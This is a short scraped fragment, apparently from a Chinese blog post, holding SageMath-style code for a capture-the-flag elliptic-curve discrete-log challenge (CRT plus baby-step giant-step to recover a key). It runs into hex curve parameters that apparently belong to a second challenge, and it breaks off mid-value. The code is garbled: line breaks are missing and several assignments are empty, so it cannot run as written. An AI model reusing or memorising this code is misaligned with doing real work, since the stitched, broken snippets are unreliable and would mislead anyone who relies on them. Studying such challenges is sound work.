E(550637390822762334900354060650869238926454800955557622817950,700751312208881169841494663466728684704743091638451132521079, 1)Q = E(1152079922659509908913443110457333432642379532625238229329830, 819973744403969324837069647827669815566569448190043645544592, 1)factors = t = a = a = crt(a, factors)mod = 1for i in factors: mod *= ik = bsgs(m * P, Q - a * P, ((2 ^ 55) // m, (2 ^ 56) // m), operation='+')key = a + k * modprint(long_to_bytes(key))p=0xd3ceec4c84af8fa5f3e9af91e00cabacaaaecec3da619400e29a25abececfdc9bd678e2708a58acb1bd15370acc39c596807dab6229dca11fd3a217510258d1bA =0x95fc77eb3119991a0022168c83eee7178e6c3eeaf75e0fdf1853b8ef4cb97a9058c271ee193b8b27938a07052f918c35eccb027b0b168b4e2566b247b91dc07B =0x926b0e42376d112ca971569a8d3b3eda12172dfb4929aea13da7f10fb81f3b96bf1e28b4a396a1fcf38d80b463582e45d06a548e0dc0d567fc668bd119c346b2E...
阅读全文